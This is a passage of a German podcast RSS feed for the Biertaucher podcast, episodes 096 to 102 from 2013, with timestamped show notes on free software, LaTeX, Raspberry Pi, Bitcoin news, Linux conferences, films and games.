+<itunes:summary>Shownotes: http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1311949/Biertaucher-Podcast-Folge-102
+</itunes:summary>
+<itunes:duration>1:17:47</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 102, Linuxtage Graz
+
+</itunes:keywords>
+</item>
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 101</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:101</link>
+ <pubDate>Thu, 25 Apr 2013 18:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher101.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:101&amp;title=Biertaucher%20Folge%20101&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN plaudert mit Horst JENS über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags etc. gibt es in den Shownotes: http://goo.gl/YKBsu (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1293028/Biertaucher-Podcast-Folge-101
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/YKBsu">hier klicken um die Shownotes zur Folge 101</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1293028/Biertaucher-Podcast-Folge-101" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:00:53 Rückblick Folge 100
+</li><li>0:02:48 <a href="http://www.xm1math.net/texmaker/">Texmaker</a>, ein <a href="http://de.wikipedia.org/wiki/LaTeX">LateX</a> Editor,
+</li><li>0:04:02 <a href="http://www.texify.com/">Texify</a> Schrift in Latex Konverter
+</li><li>0:06:00 Horst berichtet von der <a href="http://make-munich.de/">Make-Munich Austellung</a> in München , <a href="http://ptscientists.com/">Part Time Scientist</a>, <a href="http://de.wikipedia.org/wiki/Tabletop">Tabletop Games</a>, <a href="http://www.hackerspaceshop.com/">HackerspaceShop</a> <a href="http://www.deutsches-museum.de/information/">Deutsches Museum der Technik</a>
+</li><li>0:14:41 Podcastempfehlung: <a href="http://wiederholungstaeter-podcast.de/">Die Wiederholungstäter</a>, <a href="http://retinacast.de/">Die Retinauten</a> (Pilotenprüfung)
+</li><li>0:16:57 Musik: HipHop Podcast mit Taktika, <a href="http://www.nerdtalk.de/">Nerdtalk</a>
+</li><li>0:19:07 <a href="http://www.global2000.at/site/de/aktivitaeten/lebensmittel/freiheitvielfalt/article-saatgutingefahr.htm">Volksbegehren über Saatgut von Global 2000</a> (<a href="http://www.heise.de/tp/blogs/5/154166">Kritik daran</a> von Telepolis)
+</li><li>0:22:38 Kino: <a href="http://youtu.be/743A8NYeRlY">Spring Breakers</a>
+</li><li>0:25:48 Kino: <a href="http://youtu.be/mZEZ35Fhvuc">Life of Pi</a> (Tiger im Rettungsboot)
+</li><li>0:30:03 UK TV-Serie <a href="http://en.wikipedia.org/wiki/Black_Mirror_%28TV_series%29">Black Mirror</a>
+</li><li>0:31:39 Kickstarter: <a href="http://en.wikipedia.org/wiki/Master_of_magic">Master of Magic</a> Nachbau: <a href="http://www.kickstarter.com/projects/304725524/worlds-of-magic-a-new-classic-4x-fantasy-game">Worlds of Magic</a>
+</li><li>0:40:00 Games: <a href="http://derstandard.at/1363708801302/Leisure-Suit-Larry-Reloaded-kommt-im-Juni">Leisure-Suit-Larry</a>
+</li><li>0:40:50 <a href="http://pythonbooks.revolunet.com/">Python-Buch-Webseite</a> Auflistung freier Pythonbücher (Homepage via Github)
+</li><li>0:44:36 Gregor's Raspberry Pi mit OwnCloud
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher101.mp3" length="37433882" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht von der MakeMunich Messe in München . Gregor installiert OwnCloud auf seinem RaspberryPi, hört Podcasts und war im Kino. Horst freut sich über einen Kickstarter-Nachbau von Master of Magic.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/YKBsu bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1293028/Biertaucher-Podcast-Folge-101
+</itunes:summary>
+<itunes:duration>0:51:59</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 101, LateX, Make, München, PartTimeScientist, TableTop, HackerspaceShop, Volksbegehren, SpringBreakers, Life of Pi, Black Mirror, Kickstarter, Master of Magic, Worls of Magic, Python
+
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 100</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:100</link>
+ <pubDate>Tue, 16 Apr 2013 19:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher100.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:100&amp;title=Biertaucher%20Folge%20100&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Florian SCHWEIKERT, Johnny ZWENG, Horst JENS und viele Gäste plaudern über freie Software und andere Nerd-Themen. Bitcoin-News mit Andreas LEHRBAUM und Andreas PETERSSON. Interview mit @Floor. Mehr Information, Links, Bilder, Videos, Tags etc. gibt es in den Shownotes: http://goo.gl/kYH6w (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1260306/Biertaucher-Podcast-Folge-100
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/kYH6w">hier klicken um die Shownotes zur Folge 100</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b>, <b>Horst JENS</b> und viele Gäste plaudern über freie Software und andere Nerd-Themen. Bitcoin-News mit Andreas LEHRBAUM und Andreas PETERSSON. Interview mit @Floor.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1260306/Biertaucher-Podcast-Folge-100" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:00:06 Gelächter weil Hop sein Bier schäumt, Begrüßung
+</li><li>0:02:26 Florian hat ein neues Bierprodukt mitgebracht: Zipfer Orangen-Limetten Radler
+</li><li>0:03:20 Bericht "Coders without borders" und Vienna.rb (ruby meeting), siehe auch Interview mit @Floor in diesem Podcast
+</li><li>0:05:08 CouchDB und <a href="http://lucumr.pocoo.org/2012/12/29/sql-is-agile/">No-SQL-Datenbanken</a> , Gpodder.net,
+</li><li>0:11:35 Hop lädt ein: <a href="http://pyug.at">Python User Group Austria</a> Treffen am Sonntag im <a href="http://metalab.at">Metalab</a>.
+</li><li>0:12:43 Andreas Petersson über Bitcoin und Bitcoinpodcast, andere virtuelle Währungen,
+</li><li>0:19:39 Peter spricht über sein <a href="http://podcast.smarter-home.at/">Smarthome</a>
+</li><li>0:21:13 Johnny über blindenfreundliche Bankomaten mit Kopfhöreranschluss und Bezahlen mit Quick NFC Karte, Security
+</li><li>0:38:30 Smarthomes hacken
+</li><li>0:42:00 <a href="http://lateXTemplates.com">LateX Vorlagen</a>, LateX-Editoren
+</li><li>0:49:00 Gregor ärgert sich über seinen <a href="http://en.wikipedia.org/wiki/Kobo_eReader">Kobo Ebook-Reader</a>. <a href="http://en.wikipedia.org/wiki/Calibre_%28software%29">Calibre</a> ebook-Verwaltung, epub Format.
+</li><li>1:01:30 Buch von Berharnd Ludwig: <a href="http://www.amazon.de/gp/product/383382736X/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=383382736X&linkCode=as2&tag=spielendprogr-21">Die "Morgen darf ich essen, was ich will"-Diät"</a> Intermitted Fasting
+</li><li>1:03:14 Buch: Arnold Geiger: <a href="http://www.amazon.de/gp/product/3423140186/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3423140186&linkCode=as2&tag=spielendprogr-21">Alles über Sally</a>
+</li><li>1:04:37 TV-Serie: Black Mirror unpeinliche Science Fiction und Technik
+</li><li>1:09:19 Volksbegehren gegen Kirchenprivilegien, Volskbegehren für mehr Demokratie
+</li><li>1:11:22 Interview mit Floor über Coders without Borders
+</li><li>1:19:11 Bitcoin-News
+ </li><ul>
+ <li>Neues all-time-high und crash
+ </li><li>Rekord: 180 Mio USD Handelsvolumen pro Woche
+ </li><li>Bitcoin24 bugs und Kontensperre
+ </li><li>Winklevoss Zwillinge investieren in Bitcoin
+ </li><li>Dan Kaminsky rekapituliert Bitcoin
+ </li><li>Paul Krugman versteht Bitcoin immer noch nicht
+ </li><li>GIMP & Vuze akzeptieren Spenden in Bitcoin
+ </li><li>Neuer daily Bitcoin podcast
+ </li><li>Was sind Namecoins
+ </li></ul>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher100.mp3" length="97255126" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle> Der 100. Biertaucherpodcast mit jeder Menge Gäste: Peter vom Smarthome Podcast, Hop von Python User Group Austria, Andreas von Bitcoin Austria, Bernd von Gpodder.net. Außerdem Interview mit @Floor über Coders without Borders. </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/kYH6w bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1260306/Biertaucher-Podcast-Folge-100
+</itunes:summary>
+<itunes:duration>2:15:04</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 100, CouchDB, Ruby, Coders without borders, Bitcoin, Smarthome, Bankomat, Quick, NFC, LaTeX, ebook reader, epub, Diät, Alles über Sally, Buch, TV, Black Mirror, Volksbegehren
+</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 099</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:099</link>
+ <pubDate>Wed, 10 Apr 2013 15:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher099.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:099&amp;title=Biertaucher%20Folge%20099&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Florian SCHWEIKERT, Johnny ZWENG und Horst JENS plaudern über freie Software und andere Nerd-Themen. Bitcoin-News mit Andreas LEHRBAUM, Andreas PETERSSON und Markus. Mehr Information, Links, Bilder, Videos, Tags etc. gibt es in den Shownotes: http://goo.gl/oM2uz (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1241688/Biertaucher-Podcast-Folge-099
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/oM2uz">hier klicken um die Shownotes zur Folge 099</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b>und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin-News mit Andreas LEHRBAUM, Andreas PETERSSON und Markus.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1241688/Biertaucher-Podcast-Folge-099" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:01:20 Florian beantwortet Gregors brennende Frage: Wo in Wien gibt es <a href="http://de.wikipedia.org/wiki/Haggis">Haggis</a> zu kaufen ? Beim <a href="http://www.bobbys.at/v2/">Boobys Foodstore</a>
+ </li><li>0:04:21 Johnny hat erstmals auf Bitcoin.de Bitcoins verkauft
+ </li><li>0:15:17 Die Ö1 App erlaubt es das Ö1Radioprogramm 7 Tage lang nachzuhören. Andreas Lehrbaum wurde im Ö1 Radio in der Sendung Digital Leben interviewt.
+ </li><li>0:17:13 Gregor bürgert sich ein: Nach Bürgerkarte hat er sich einen Büchereiausweis geholt und damit elektronische, DRM-belastete, ebooks ausgeborgt. Ausborgen von digitalen Medien (Filmen, Musik etc) möglich.
+ </li><li>0:30:14 Johnny war in Barcelona und hatte unerwartet Glück mit seinem Internet Roaming-Paket. Außerdem erzählt er von seiner Webcam-Wohnungsüberwachung.
+ </li><li>0:39:19 Florian hat Gnome 3.8 auf Arch Linux ausprobiert
+ </li><li>0:55:33 Horst hat sich nach langer Pause die Zeitschrift Yps gekauft
+ </li><li>1:02:05 Johny spielt: fernbedienter Helium Fisch-Zeppelin.
+ </li><li>1:05:25 Florian freut sich über Fortschritte beim Open Source Real-Time-Strategy Spiel <a href="http://en.wikipedia.org/wiki/0_A.D._(video_game)">0_A.D.</a>.
+ </li><li>1:12:56 Gregors Podcastempfehlungen: Christian Schmitz Retro Spiele Podcast <a href="http://www.stayforever.de/">Stay Forever</a> und 80er Jahre Podcast <a href="http://80erman.tumblr.com/">young in the 80</a>
+ </li><li>1:19:21 Inspiriert von CRE "Hackerfilme" hat sich Gregor schlechte Filme angeschaut: <a href="http://de.wikipedia.org/wiki/Das_Netz_2.0">Das Netz 2.0</a>
+ </li><li>1:24:34 Florian und Gregor ereifern sich über schlechte SF Filme: Starcrash mit David Hesselhoff
+ </li><li>1:27:05 Einladung: Mitmachen beim 100. Biertaucherpodcast im alten AKH, Hof 2 vor dem Hörsaalzentrum
+ </li><li>1:28:30 Bitcoin-News mit Andreas Lehrbaum und Andreas Petersson und Markus </li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher099.mp3" length="89914298" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor schaut schlechte Filme und borgt sich in der Bücherei ebooks mit DRM aus, Florian kauft Haggis und benutzt Gnome 3.8, Johnny verkauft Bitcoins und spielt mit Helium-Zeppelinen, Horst liest YPS.Und Bitcoin-News!</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/oM2uz bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1241688/Biertaucher-Podcast-Folge-099
+</itunes:summary>
+<itunes:duration>2:04:53</itunes:duration>
+<itunes:keywords>
+ Biertaucher, Podcast, 099, Haggis, Bitcoin, Wien, Stadtbücherei, ebook, DRM, Barcelona, Roaming, Gnome, Yps, Zeitschrift, Helium, Zeppelin, 0AD, StayForever, MadTV, TheNet, Starcrash, Bitcoinnews
+</itunes:keywords>
+</item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 098</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:098</link>
+ <pubDate>Tue, 02 Apr 2013 15:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher098.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:098&amp;title=Biertaucher%20Folge%20098&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN und Horst JENS plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/yIwPa (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1223701/Biertaucher-Podcast-Folge-098
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/yIwPa">hier klicken um die Shownotes zur Folge 098</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1223701/Biertaucher-Podcast-Folge-098" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:02:16 <a href="http://www.offene-oeffis.at/2013/03/29/durchbruch-wiener-linien-open-data-kommt-bis-zum-sommer/">Open Data Petition an die Wiener Linien</a> erfolgreich und Gregor hat sich eine Bürgerkarte besorgt
+</li><li>0:12:07 <a href="http://www.gnome.org/news/2013/03/gnome-3-8-released/">Gnome 3.8 released</a>
+</li><li>0:18:22 Horst hat eine Alternative für Google Reader (RSS-Reader) gefunden: <a href="http://theoldreader.com/">TheOldReader.com</a>
+</li><li>0:24:00 Blogposting: <a href="http://blogs.msdn.com/b/jw_on_tech/archive/2012/03/13/why-i-left-google.aspx">Why i left Google</a>
+</li><li>0:29:36 Horst's erster <a href="http://www.blender.org/">Blender Kurs</a> für Jugendliche: Blender Game Engine, Blender Wiki und Dokumentation
+</li><li>0:43:40 Comic: Gregor hat <a href="http://www.amazon.de/gp/product/1401226965/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1401226965&linkCode=as2&tag=spielendprogr-21">Sweet Tooth (Graphic Novel)</a>((Amazon Link)) fertig gelesen
+</li><li>0:49:23 Horst lernt schöner Publizieren mittels LATEX: <a href="http://www.amazon.de/gp/product/3865414621/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3865414621&linkCode=as2&tag=spielendprogr-21">Einführung in LaTeX: unter Berücksichtigung von pdfLaTeX, XLaTeX und LuaLaTeX</a>((Amazon Link)), Maus vs. Tastaturbenutzer, Fenstermanager <a href="http://www.nongnu.org/ratpoison/">RatPoison</a>
+</li><li>1:00:00 Gregor spielt weiter <a href="http://www.amazon.de/gp/product/3939212024/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3939212024&linkCode=as2&tag=spielendprogr-21">Paranoia Troubleshooter: Ein satirisches Rollenspiel</a>((Amazon Link))
+</li><li>1:08:00 Schöner Rollenspielen: <a href="http://www.dungeonslayers.net/slay-magazin/">Dungeon-Slayer Magazin</a>, frei zum download, cc-lizenziert
+</li><li>1:12:40 <a href="http://manuspielt.wordpress.com/">Manu spielt</a> Podcast wurde verkauft
+</li><li>1:16:00 Gregor empfielt die <a href="http://cre.fm/cre202">Chaos Radio Express Sendung</a> Hackerfilme (Wargames, das Netz)
+</li><li>1:17:00 Wir schauen zu viel fern: Office Space (1999), Batman.., Alice im Wunderland wegen <a href="http://de.wikipedia.org/wiki/Mia_Wasikowska">Mia Wasikowska</a>, Stargate Atlantis wegen <a href="http://en.wikipedia.org/wiki/Rachel_Luttrell">Rachel Luttrell</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher098.mp3" length="64398517" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor hat sich eine Bürgerkarte besorgt, Gnome 3.8 bewundert und Sweettooth ausgelesen. Horst hat einen Blender Workshop abgehalten und lernt LaTeX. Gregor erhält vom Rollenspiel Paranoia, und beide schauen wir viel zu viel fern.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/yIwPa bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1223701/Biertaucher-Podcast-Folge-098
+</itunes:summary>
+<itunes:duration>1:29:26</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 098, Petition, Bürgerkarte, Wiener Linien, offene Daten, TheOldReader, RSS Reader, Comic, Sweettooth, Latex, Dungeon Slayer, Magazin, CRE, Hackerfilme, Paranoia, Blender, Batman, Stargate Atlantis, Alice, Office Space, Wargames
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 097</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:097</link>
+ <pubDate>Tue, 26 Mar 2013 23:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher097.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:097&amp;title=Biertaucher%20Folge%20097&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS, Harald PICHLER und Motz plaudern über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON und Andreas LEHRBAUM. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/kSBVc (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1208063/Biertaucher-Podcast-Folge-097
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/kSBVc">hier klicken um die Shownotes zur Folge 097</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b> sowie die Gäste <b>Harald PICHLER</b> und <b>Motz</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin News mit <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b>. .
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1208063/Biertaucher-Podcast-Folge-097" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:08 Gregor erlebte die Auspackung eines Raspberry Pi's und wundert sich über die Verpackungen
+</li><li>0:03:17 TV-Serienempfehlung von Harald: <a href="http://de.wikipedia.org/wiki/Stargate_Atlantis">Stargate Atlantis</a>, außerdem reden wir über <a href="http://de.wikipedia.org/wiki/Firefly_(Fernsehserie)">Firefly</a> sowie Eureka
+</li><li>0:09:44 Florian ruft auf zum <a href="https://www.wien.gv.at/petition/online/PetitionDetail.aspx?PetID=446def6e128c4f199ddfdce70c599775">Unterzeichnen der Open-Data Petition an die Wiener Linien</a>
+</li><li>0:11:26 Harald erzählt vom <a href="http://osdomotics.com">OSDomotics</a>-Messestand auf den Linuxtagen in Chemnitz vorige Woche: SmartSara Projekt, 6LowPan (Das Internet der Dinge) Funksensoren für Haustechnik, <a href="http://de.wikipedia.org/wiki/Contiki">Contiki OS</a>, <a href="http://de.wikipedia.org/wiki/Session_Initiation_Protocol">SIP</a>. Produktbesprechungen über OSDomotics Produkte.
+</li><li>0:42:40 <a href="http://gnublin.embedded-projects.net/">Gnublin</a> Elektronikfirma mit eigenem <a href="http://journal.embedded-projects.net/">embedded Projcets Journal</a> (creative-commons lizensiert!), der Open-Source Zeitschrift zum Mitmachen
+</li><li>0:46:16 Neuigkeiten vom OSDomotics-Shop und vom Hackerspace Shop
+</li><li>0:49:10 <a href="http://www.zdnet.de/88148649/china-wahlt-ubuntu-als-staatlich-gefordertes-betriebssystem/">Ubuntu-Version für China</a>, Samsung will eigenes OS, Software Patente, Nokia, Open-Source-Philosophie, Microsoft, EU-Einheitspatent
+</li><li>1:09:36 Motz berichtet über das Rogue-Like Rollenspiel <a href="http://crawl.develz.org/wordpress/">Crawl (Dungeon Crawl Stone Soup)</a>, welches er auf PC und Android spielt. Gregor veweist auf die <a href="http://cre.fm/cre199">Nethack Folge von Chaos-Radio Express</a>. Motz mag die Komfortfunktionen von Crawl (Autoexplore, Autocombat).
+</li><li>1:21:33 Gregor erzählt über seine Erlebnisse mit dem <a href="http://de.wikipedia.org/wiki/Paranoia_(Rollenspiel)">Pen' & Paper">RollenspielPandora</a>
+</li><li>1:33:00 Bitcoin News mit Andreas Lehrbaum und Andreas Petersson: überblicks-Inhaltsverzeichnis
+ </li><ul><li>neues Alltime-High beim Bitcoin-Kurs
+ </li><li>Bitcoin-Gesamtvermögen
+ </li><li>Anstieg der Hashleistung im Netz
+ </li><li>Al Gore mag Bitcoins</li>
+ </ul>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher097.mp3" length="88512776" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Motz spielt Dungeon Crawl, Harald schaut Stargate Atlantis (und erzählt über 6LowPan Funksensoren), wir schimpfen auf (Software)Patente, Gregor spielt Paranoia und wundert sich über Verpackungen, Aufruf OpenData-Petition Wiener Linien</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/kSBVc bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1208063/Biertaucher-Podcast-Folge-097
+</itunes:summary>
+<itunes:duration>2:02:56</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 097, OSDomotics, Haustechnik, 6LowPan, RaspberryPi, Verpackung, Stargate Atlantis, Haustechnik, SmartSara, OpenData, Wiener Linien, Petition, embedded projects journal, Gnublin, Pandora, Rollenspiel, Crawl, Bitcoin, Patente
+</itunes:keywords>
+</item>
+
+
+ <item>
+ <title>Biertaucher Folge 096</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:096</link>
+ <pubDate>Tue, 19 Mar 2013 22:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher096.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:096&amp;title=Biertaucher%20Folge%20096&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Florian Schweikert, Christoph "Hop" Schindler, Horst JENS, Johnny ZWENG, Thomas KRONSTEINER plaudern über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON und Andreas LEHRBAUM. Interview mit Michael Nußbaumer. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/rmu79 (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1190160/Biertaucher-Podcast-Folge-096
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/rmu79">hier klicken um die Shownotes zur Folge 096</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Florian Schweikert</b>, <b>Christop "Hop" Schindler</b>, <b>Horst JENS</b> <b>Johnny ZWENG</b> und <b>Thomas KRONSTEINER</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin News mit <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b>. Interview mit <b>Michael NUSSBAUMER</b>.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1190160/Biertaucher-Podcast-Folge-096" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:00:57 Horst war auf den Chemnitzer Linuxtagen (siehe <a href="https://picasaweb.google.com/107725094985199419268/20130317Chemnitzer_Linuxtage_2013?authuser=0&feat=directlink">Fotogalerie</a>). Hinweis auf Interview mit Michael Nußbaumer, Herausgeber vom TAU-Magazin
+</li><li>0:01:58 Teaser Bitcoin-News
+</li><li>0:02:40 Chemnitzer Linuxtage #clt2013 Hinfahrt, Gastgeschenke für <a href="http://www.geany.org/">Geany</a> und <a href="https://www.djangoproject.com/">Django</a>, <a href="http://de.wikipedia.org/wiki/LaTeX">LaTeX</a>
+</li><li>0:10:49 Hop berichtet vom PyUgat-Treffen und Coding Dojo am 13-3-2013 im Metalab, Django
+</li><li>0:17:07 Florian über #clt2013, Chemnitz als Stadt
+</li><li>0:21:15 Verpflegung und Backstage Bereich auf #clt2013, <a href="http://de.wikipedia.org/wiki/Reactos">Reactos_OS</a>
+</li><li>0:27:10 Hop über PyUgat, Metalab Führung für Neubesucher
+</li><li>0:29:20 Horst über Kurt Gramlich <a href="http://de.wikipedia.org/wiki/Skolelinux">Skole-Linux</a> Vortrag, Fail in Rheinland-Pfalz, Florian über FSFE Vortrag
+</li><li>0:46:20 Podcastempfehlung: Wir müssen reden, <a href="http://www.zwanzichfuffzehn.de/">zwanzich-fuffzehn</a>, die Wiederholungstäter
+</li><li>0:50:30 Johnny war offline
+</li><li>0:56:11 Horst über #clt2013 Organisation, Bankett , OpenOffice, Libreoffice
+</li><li>0:58:00 Google Reader stirbt, Alternativen: <a href="http://www.newsblur.com/">NewsBlur</a>, Feedly
+</li><li>1:12:20 #clt2013 Kinderbetreuung, RaspberryPi Basteln, Arbeitskräftemangel in Sachsen, Rekrutieren, <a href="http://www.osdomotics.com/">OsDomotics</a>, Haustechnik
